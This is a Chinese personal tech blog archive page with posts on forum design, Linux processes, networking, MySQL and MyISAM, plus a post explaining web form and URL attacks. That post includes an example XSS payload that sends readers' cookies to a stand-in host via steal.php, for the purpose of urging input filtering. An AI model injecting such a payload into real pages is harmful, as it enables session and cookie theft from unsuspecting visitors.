论坛程序设计的思考

新入公司,项目被老同志分的七七八八,系统还没有足够的熟悉,暂时清闲了几天,看了几天的代码,有面向对象的,更多的是面向过程的,这篇博文的title值得商榷的,反正我不知道该取什么名字,姑且唬人一下。

1)设计目标,任何软件都需要一个设计目标,比如目标用户,并发数等等,论坛这个东西实时性很强,同时在线人数一般不高,如果很高的话一般会自己做,或者请公司定制开发或优化。撑死了几千人同时在线,很多论坛的设计目标就是没有目标,看到好的功能和界面,拿过来,改改,堆上去,完事

2)模块划分,市面上的几个论坛软件大多还是沿用了N多年前的架构,面向过程,而且过程不清晰,虽然在用户后台看上去好像各个功能挺独立的,看看代码就知道,里面定义了一堆全局变量,更奇怪的是没有注释,还有好几个是没用的,代码重复率非常高,require来include去,绕啊,绕啊,我就晕了~~,功能模块都没能独立,更没法谈耦合和内聚了~

3)数据库设计,这个挺有意思的,曾经“有幸”阅读过discuz不知道几点几版本的代码,里面的SQL写得令人毛骨悚然,不得不佩服写这个SQL语句程序员的数据库造诣之深,反正我是没写过,也写不出来,我的原则是,能一次查询的不做两次查,能不用jion的就坚决不用,discuz的表有上百个之多,phpwind更是超过150个,且有不断增加之趋势,清一色使用mysql,而且还是用的MYISAM引擎,好吧,1000个并发的时候,discuz 7是挂掉了,phpwind没测试过,暂时不评论。数据表设计时冗余是必要的,不一定非要遵循范式规则,过度随意就成了灾难,我看到数据库中居然有q1,q2,q3一直到q21这样的字段,通通都是int型的,而且绝大部分都是空的,浪费空间之严重令人非常惊讶,且不说这个命名十分之不友好,这个东西能这样做的么,假如真的需要21个同样类型的q这种东西,为啥不再分一张表,然后给个ID连接一下不就好了么,这仅仅是一个例子,N张表都能找到这样的例子。用户表是论坛的核心表之一,论坛有积分啊,签名啊,生日啊,等级啊,权限啊之类之类的,用户属性自然是多之又多,可是再多也不能全放一个表里,一个表里有六七十个属性,这像话么!!绝大部分属性普通用户都是空的,又是一个“占着茅坑不拉屎”的表设计,大部分用户注册时能不填的肯定不会填,就那么昵称啊,email啊,密码啊几个字段需要insert,至于牵动六七十个属性同时更改一遍么,myisam引擎insert是加的是表级锁的啊,郁闷,纵向拆分这张表!

4)错误处理,出错了,前面加个@好了,让别人都看不到就不会有什么问题了,嗯,这个似乎是可以防止因为出错信息而泄漏一些东西,可是总得让自己知道怎么回事啊,不然怎么解决呢,还好都有官方论坛可以去问,大多数时候管理员也不知道用户出了什么问题,只能靠猜,为什么不记录一个log呢?!

5)不想说了~~先把前面的改了再说……

发表在 Database | 标签为 , , | 2 条评论

linux进程管理笔记

进程是操作系统最基本抽象之一。一个进程就是处于执行器的程序(目标码粗放在某种介质上)。但进程不仅仅局限于一段可执行程序代码(Unix称之为text section),通常进程还包括其他资源,如打开的文件、挂起的信号、内核内部的数据、处理器状态、地址空间及一个和多个执行线程、当然还包括用来存放全局变量的数据段等,实际上,进程就是正在执行的程序代码的活标本。

1)进程描述符及任务结构

在很多介绍Linux进程描述的文章中,有些将内核的进程存放称之为task array,在阅读linux/sched.h头文件中代码可知,实际上进程存放是以链表的形式存放的,单个数据结构是一个task_struct的结构,因此叫做task list更准确一些。task_struct相对比较大,在32位机器上,大约1.7k。Linux通过slab分配器来分配task_struct,用这个来分配的好处是能达到对象复用和cache coloring(翻译成“缓存着色”太别扭了,也很难理解),实际上就是一个预分配的过程,这样可以减少动态创建和销毁带来的系列开销。

2)进程描述存放

内核通过唯一的进程标示值来存放和标示每个进程(PID)。PID默认的最大值为32768,是int类型,可以增加到类型允许的最大值,对于普通的桌面系统或者server来说默认最大值已经足够,对于大型服务器可能需要更多的进程数,只需要修改/proc/sys/kernel/pid_max来提高上限。

3)进程状态

TASK_RUNNING,进程正在执行,用户空间的唯一状态

TASK_INTERRUPTIBLE,被阻塞,等待恢复的状态。

TASK_UNINTERUPTIBLE ,除了不因为接收到信号而唤醒之外,和上面的一个相同

TASK_ZOMBIE 僵死。

TASK_STOPPED进程停止运行,没有运行,也不能投入运行。

发表在 Operating System | 标签为 | 留下评论

决定离开

人这种动物真的很奇怪,大多时候都总是做着利己的事情,很多时候却选择了不能因为自己而活着的方式。

Livid曾经形容上海是个妖怪的城市,结果他终于躲到了杭州去了,我没去过昆明,不知道昆明是不是Livid说的那样美好,我时常去杭州逛逛,深知杭州没有那么好,至少交通不是很好,堵车是我最不喜欢的事情,偏偏杭州这个事情最常见。

2008年8月我进入Blogbus工作,明天我将从这个我从前到现在一直喜欢的公司里面走出,我不知道从这里带走的小资情调能不能融入新的公司,没有办公室政治的Blogbus是我过得最快乐的一年。

杭州并没有传说中的那么人杰地灵,我将要去这个地方,我深知这个地方的牛人都是外来的,杭州没有上海那么排外,上海制定了很多排外的政策,比如外地车就不能在一定时段上高架,比如上海户口的就一定得交公积金和三险,外地人则可有可无,走在是上海的小巷中,总能听到“乡下人”来形容外地人,好吧,外地就外地吧,中国的户籍制度把人强分成农业户口和城市户口,再把城市户口分成外地户口和本地户口,再把本地户口分成市区户口和郊区户口……

对于一个应届生来说,在同学都急着找不到工作的时候,却频频接到传说中猎头的电话,我是幸运的,凭心而论,我不是很优秀,我的很多专业的知识来自于Blogbus师长的传授,有神仙车东刚哥曹宇伟唐珂张捷潘建龙,在UI和HTML等前端技术方面给我帮助的有,李飞,吴旋,姐夫,还有已经离职的小光大哥和陈小新,在产品方面给我指导的也有很多,蔡溪哲,张新玲和夏添,以上排名不分先后,我是想到哪个写到哪个,在经济上帮助过我的还有姐姐,Blogbus除了一条小狗,一个小猫,两只乌龟还两只被猫吃掉的小鱼非常可爱之外,还有平儿,小U,小花,还有杂志的徐帆姐姐等等

离开是为了更好的发展和长大,也许过于一帆风顺对我没有好处,我想去吃点苦头,顺便交几个难友,多认识几个同事~~外面的世界很大,又一次选择了不光为自己而活着……

发表在 Life Diary | 标签为 , | 3 条评论

连日来的一些感慨

1) 不要相信任何第三方,即使是你的兄弟开的公司,也不一定跟你说真话,因为很多话是不能跟你说的,第三方和你合作的唯一目的就是钱,当然公司间的合作本来就是利益合作,这本无可厚非,但是总有人利用信息不对称,对灌输给你的信息做对他更有益的改动,然后在合作后频频跳票,不兑现承诺,所以对付第三方的唯一办法就是,找一堆供应商,然后让他们把承诺统统变成白纸黑子,然后挨家比较,选中了之后,把这些白纸黑子变成合同条款,不然拒签。还好上海是一个还算守法律的城市,基本上写进合同的都能兑现,不能兑现都会给一个合理的赔偿或者置换。

2)网站运行速度慢,第一个要检查的是数据库,而不是程序逻辑

3)如果有服务出现了故障,大多是程序本身出了问题,前提是服务器和网络没有异常的情况下,所以无论你愿不愿意都最好能重现一下错误,这是解决问题的最好办法

4)服务器服务调整是个慢工细活,动之前大脑里应该清楚每个细节,如果不熟悉,最好用纸写下来,然后再仔细想想,然后再开始做,假如你和曹宇伟 一样牛逼或者比他更牛逼,能够把shell运用的出神入化,那另当别论

5)文档是最好的老师,网上的那些免费的收费的电子书,都是文档加上作者的理解写成的,假如英文尚可的话,还是直接阅读文档的比较好,我如果遇到一个新的东西,我一般会查一下中文的介绍,大致了解一番,然后去阅读手册,有时候想啊,手册这么好的东西,怎么就没人翻译一下呢,每每冲动去翻译几个手册,苦于乱七八糟的事情和心情太多,浪费了很多时间。

6)不要太相信国内所谓的牛逼的公司的牛逼的人的推介的书,基本上都是炒作,书本身并没有太大的价值,比如《Apache源码分析》和 《走出软件作坊》,作序者都很狡猾,基本上不会提及书的任何内容,当然也可能是作序者根本没看过自己作序的这本书,所以里面大多介绍作者是怎么样一个人,作者的团队、背景甚至认识过程等等,这点在阿里DBA简朝阳先生《mysql 性能调优与架构设计》中尤为突出,那么多所谓的牛人作序,没有一个提及书的内容,不过简朝阳先生的性能调优几个章节还是值得一读的,架构设计不过是一带而过,我觉得不应该放在书名中,名不副实。

7)***权威指南 都是骗初学者的,大段大段的抄手册里面的内容,初学者因为不熟悉所学技术的手册,可能会觉得这种书很详实,用到的都有,其实如果去翻下手册,就知道,还有比这个写的更好的,所以手册不仅是最好的老师,也是最权威的权威指南。

8)不要因为技术而技术,这点对技术人员非常重要,大多数技术人员都喜欢更新的东西,确实,新的东西比旧的东西在多数时候更强大,但你的需求真的需要那些新的功能么?如果花了很大的力气研究一门新的东西,然后只用到老的东西里面也有东西,那么就是浪费了,所以,能满足需求的就是最好的。

9)scalable 在国内都翻译成“可扩展”,比如《构建可扩展的Web站点》一书就是这么翻译的,事实上,应该翻译成“可伸缩”,大部分时候你的网站随着流量的不断增长,服务和设备保持着一种扩张的状态,当我们上了一个可以扩展的解决方案之后,它能不能收缩呢?万一某个时刻我们发现这些东西不是想象中那么好用或者有用,毕竟有些东西需要很大成本的,比如51.com前些日子就裁掉了整个宁波机房,我们是否可以退回去?

10)过程是需要的,谁也不能一蹴而就,一步登天,成功的人都是认真的活到他成功的那一天,急躁只会令自己丧失和浪费更多的时间

发表在 Life Diary | 标签为 , , | 一条评论

交换机中的trunk

Trunk这个词在不同的场合有好几个意思。

1、 在网络的分层结构和宽带的合理分配方面,TRUNK被解释为“端口汇聚”,是带宽扩展和链路备份的一个重要途径。TRUNK把多个物理端口捆绑在一起当作 一个逻辑端口使用,可以把多组端口的宽带叠加起来使用。TRUNK技术可以实现TRUNK内部多条链路互为备份的功能,即当一条链路出现故障时,不影响其 他链路的工作,同时多链路之间还能实现流量均衡,就像我们熟悉的打印机池和MODEM池一样。

2、在电信网络的语音级的线路中,Trunk指“主干网络、电话干线”,即两个交换局或交换机之间的连接电路或信道,它能够在两端之间进行转接,并提供必要的信令和终端设备。

3、 但是在最普遍的路由与交换领域,VLAN的端口聚合也有的叫TRUNK,不过大多数都叫TRUNKING ,如CISCO公司。

所谓的TRUNKING是用来在不同的交换机之间进行连接,以保证在跨越多个交换机上建立的同一个VLAN的成员能够相互通讯。其中交换机之间互联用的端 口就称为TRUNK端口。与一般的交换机的级联不同,TRUNKING是基于OSI第二层RUNKING技术,如果你在2个交换机上分别划分 了多个VLAN(VLAN也是基于Layer2的),那么分别在两个交换机上的VLAN10和VLAN20的各自的成员如果要互通,就需要在A交换机上设 为VLAN10的端口中取一个和交换机B上设为VLAN10的某个端口作级联连接。VLAN20也是这样。那么如果交换机上划了10个VLAN就需要分别 连10条线作级联,端口效率就太低了。 当交换机支持TRUNKING的时候,事情就简单了,只需要2个交换机之间有一条级联线,并将对应的端口设置为Trunk,这条线路就可以承载交换机上所 有VLAN的信息。这样的话,就算交换机上设了上百个个VLAN也只用1个端口就解决了。

发表在 Study & Reading | 标签为 | 留下评论

重温网络基础知识

常用网络设备:

  • 中继器。信号在线路中传输时会因衰减、干扰和失真而使信号不能长距离传输。中继器能再生信号,使信号的传输距离更远。中继器工作中物理层。
  • 网桥。当网络上的机器很多时,网络会因广播信号过多而造成拥塞。网桥可以把一个大的网络分成两多或多个小网络。广播信号只在小网络中传递。网桥有几种类型,有源路由网桥,透明网桥,转换式网桥、封装式网桥。透明网桥是最常用的一种网桥方式。透明网桥执行3种简单的功能:学习、转发和过滤。网桥一般都有两个以上的接口,连接不同的网络区域。网桥通过无目的地侦听所有接口来学习网络中每台设备的MAC地址,并把MAC地址和所在接口号记录到桥接表中。当不同区域的设备要通信时,网桥通过桥接表把数据从一个接口转发到另一个接口,从而实现两台设备的通信。当同区域的设备要通信时,网桥通过查看桥接表发现在同一区域(接口),网桥就不会转发该数据,数据被过滤掉了。透明网桥的学习、转发和过滤功能对于用户来说都是不可见,透明的。网桥工作在数据链路层。
  • 路由器。也叫网关或中介系统,用以连接不同子网,指示到达不同子网的路径。路由器是工作在网络层的。
  • 交换机。可以理解为多端口网桥,每个与交换机端口连接的设备就是一个独立的广播域。

电路交换和分组交换

  • 电路交换联网方式是指当我们要通信时,需要在通信双方建立一条连接电路,这个电路可以是固定的,也可以是根据需要建立的。连接电路一旦建立,双方就固定地使用该条电路通道来传送信息。电路交换的典型应用是电话系统。当打通电话后,双方就固定地占用了一条电路进行通话(信息交换),直到电话挂断。每次打电话占用的电路都可能是不同的。
  • 分组交换联网方式不会使用固定的路径来传送信息。它把要传送的信息分割成小的信息块,经由不同的路径发送到接收方。接收方把接收的分组按一定的顺序重新组合成原始信息。
  • 两种交换方式都各有优缺点,在设计网络时应该使用哪种交换方式呢?判断的一个重要依据是网络媒体是共享的还是专用的。对于共享的网络来说采用分组网络能更有效地利用网络媒体,使用电路交换则会长期锁定共享网络媒体资源。分组网络由于信息通道不固定,数据分组有可能会在传输中丢失,或者出现顺序出错。这时就要靠上层的网络协议提供的功能进行重发。
  • 现代的网络,电路交换和分组交换经常相结合使用。如ADSL拔号上网,使用IP数据报携带较高层的数据,而通过电路交换的电话网络与互联网联接

面向连接协议和无连接协议

  • 面向连接协议需要在发送信息之前,在联网设备之间建立一条逻辑连接,如果逻辑连接建立成功则可开始进行通信。典型的面向连接的协议是TCP。
  • 面向无连接的协议在发送信息前不需要与对方建立连接,直接发送。典型的无连接协议是UDP。

QoS
时延是网络性能的重要参数,通过QoS可以改善网络时延。QoS描述了数据在设备之间是如何传输的特性。QoS主要有以下几个特性:

  • 预留带宽。将网络接口的一部份带宽预留给某种关健应用。
  • 时延管理。
  • 流量优先权。能处理分组,使较重要的连接能比其它连接有更高的优先权。
  • 流量整形。
  • 网络拥塞避免。该特性指监控网络中特定连接,当网络中特定部份拥塞时,对数据重新选路。
发表在 Study & Reading | 标签为 | 留下评论

linux mail命令学习

功能说明:E-mail管理程序。

语  法:mail [-iInNv][-b][-c][-f][-s][-u][收信人地址]

补充说明:mail是一个文字模式的邮件管理程序,操作的界面不像elm或pine那么容易使用,但功能尚称完整。

参  数:
-b 指定密件副本的收信人地址。
-c 指定副本的收信人地址。
-f 读取指定邮件文件中的邮件。
-i 不显示终端发出的信息。
-I 使用互动模式。
-n 程序使用时,不使用mail.rc文件中的设置。
-N 阅读邮件时,不显示邮件的标题。
-s 指定邮件的主题。
-u 读取指定用户的邮件。
-v 执行时,显示详细的信息。

发表在 Operating System | 标签为 | 留下评论

表单及URL攻击的几种方法

有时候程序员为了偷懒或者是在无意识的情况下缺少了对外部数据的过滤,Web安全习惯上将所有用户输入的数据假定为受污染的数据(即可能带有攻击性的数据),现在比较流行的XSS(跨站脚本攻击)就是利用对用户输入过滤不完全而进行的攻击,因为用户数据过滤不完全会导致很多很多问题,我这里只是简单的介绍几种比较常见的表单及URL攻击方式,希望读者能够最大限度的注意过滤用户输入。

1)表单数据泄漏攻击

这个一般刚入行的人可能会犯错,说得通俗一点,就是该用POST方式提交数据的时候,用了GET方式提交数据,比如,用户登录时候用了GET方法,导致用户名和密码都在URL上直接显示出来了,当然假如真的傻到这种程度,这种应用大多还是属于自己玩玩的东西,不是产品。还有一种是登录等操作,在提交数据的时候被窃听或者拦截了,这种没有很好的方式去解决,最多就是利用可以在浏览器上执行的脚本,比如JavaScript对密码和用户加密后提交到服务器,而且最好采用不可逆的公共算法,在浏览器端执行的脚本如果使用自己的算法,会增加被破解的几率,当然如果你的加密程度能超过或者接近现在流行的公共加密算法,那么也是可以的:)

2)语义URL攻击

这也是利用提交的形式及参数进行攻击的,假如使用GET方式找回密码,url为:http://example.org/private.php?user=abc&email=abc@11.org,那么产生的攻击也很简单,只要将user=abc改成任意其他的存在的用户密码就会发到后面的email中,轻松获取别人密码,POST方式大体也是通过窃听方式获得提交的数据

3)文件上传攻击

文件上传造成的危害在表单攻击中是最大的,假如成功入侵,最坏的情况甚至是可以干任何想干的事情,因此对此不可小觑。常见的有大文件攻击,假如你的服务端没有做限制的话,那么你的硬盘很快就会被塞满,或者是你在客户端中只是简单的限制了一下,那些对于心怀不轨者都是摆设,太容易绕开了。假如上传的是一个可执行的脚本,在某种情况下会激活这个脚本,那么后果就不堪设想,验证上传文件的后缀和限制上传文件的种类是能避免大多数低级别的攻击者,但根本还是让存放用户上传的文件的目录没有执行权限,脚本不能执行,那么它也仅仅是一般文本而已。

4)跨站脚本攻击

跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰,PHP应用也不例外。

所有有输入的应用都面临着风险。Webmail,论坛,留言本,甚至是Blog。事实上,大多数Web应用提供输入是出于更吸引人气的目的,但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生了。

比如在一个博客平台提供商,一个心怀不轨的用户在写博客时故意在内容中插入<script> document.location = ’http://abc.example.org/steal.php?cookies=’ + document.cookie</script>,结果所有浏览这篇文章的读者的Cookie信息都在不知情的情况下发给了第三方。

5)HTTP请求欺骗攻击

所谓上有政策下有对策,很多项目为了最大程度的得到高可信度的用户输入,甚至添加了判断referer的功能,可惜这个东西十分的不靠谱,随便一个CURL就可以欺骗过去。

毕竟所有的传输都只是个协议而已,而HTTP协议本身只是负责传输,并不负责诸如安全之类的其他问题,所以过程怎么伪造都是可以的,只要攻击者足够的熟悉HTTP协议,针对HTTP协议本身的攻击,似乎目前还没有看到,虽然欺骗、攻击随处可见,方式变化多样,只要做好了过滤,多想一点再多想一点,任何攻击得到的都是一个错误页面而已 :)

发表在 Programming | 标签为 , , | 2 条评论

MySQL中索引限制

1) MyISAM存储引擎的索引键长度的总和不能超过1000个字节

2)BLOB 和TEXT类型的列只能创建前缀索引

3)MySQL目前不支持函数索引

4)使用不等于(!=或<>)的时候MySQL无法使用索引

5)过滤字段使用了函数运算(如abs(column))后,MySQL无法使用索引

6)Join语句中Join条件字段类型不一致的时候,MySQL无法使用索引

7)使用LIKE操作的时候如果条件是以通配符开始(如%ABC)时,MySQL无法使用索引

8)使用非等值查询时候,MySQL无法使用HASH索引

发表在 Database | 标签为 | 留下评论

MyISAM的Concurrent Insert

MyISAM中读写是相互阻塞的锁,很多人误认为MyISAM存储引擎是完全串行化,没有办法并行的,实际上,MyISAM中提供了一个非常有用的特性,就是Concurrent Insert。

在my.cnf中对Concurrent Insert可以进行配置,有三个可选值:0,1,2.

1) concurrent _insert =0 ,无论MyISAM的表数据文件中间是否存在因为删除而留下俄空闲空间,都不允许concurrent insert。

2)concurrent_insert = 1,是当MyISAM存储引擎表数据文件中间不存在空闲空间的时候,从文件尾部进行Concurrent Insert。

3)concurrent_insert = 2,  无论 MyISAM存储引擎的表数据文件的中间部分是否存在因为删除而留下的空闲空间,都允许在数据文件尾部进行concurrent insert操作。

从以上的赋值说明可以得出,在删除操作不是很多的情况下,可以选用 concurrent_insert =2  ,这样可以增大并发速度,但是会浪费一部分数据文件的空间,因为中间删除的空隙得不到数据填充。这个浪费在删除操作较多的情况下是非常可观的,所以在删除操作较多的情况下应该选用concurrent_insert =1,当然,假如你的对空间不是特别在乎,而且能很好的处理备份问题,选用concurrent_insert =2显然能提高你的MyISAM的并发读写能力。

发表在 Database | 标签为 | 留下评论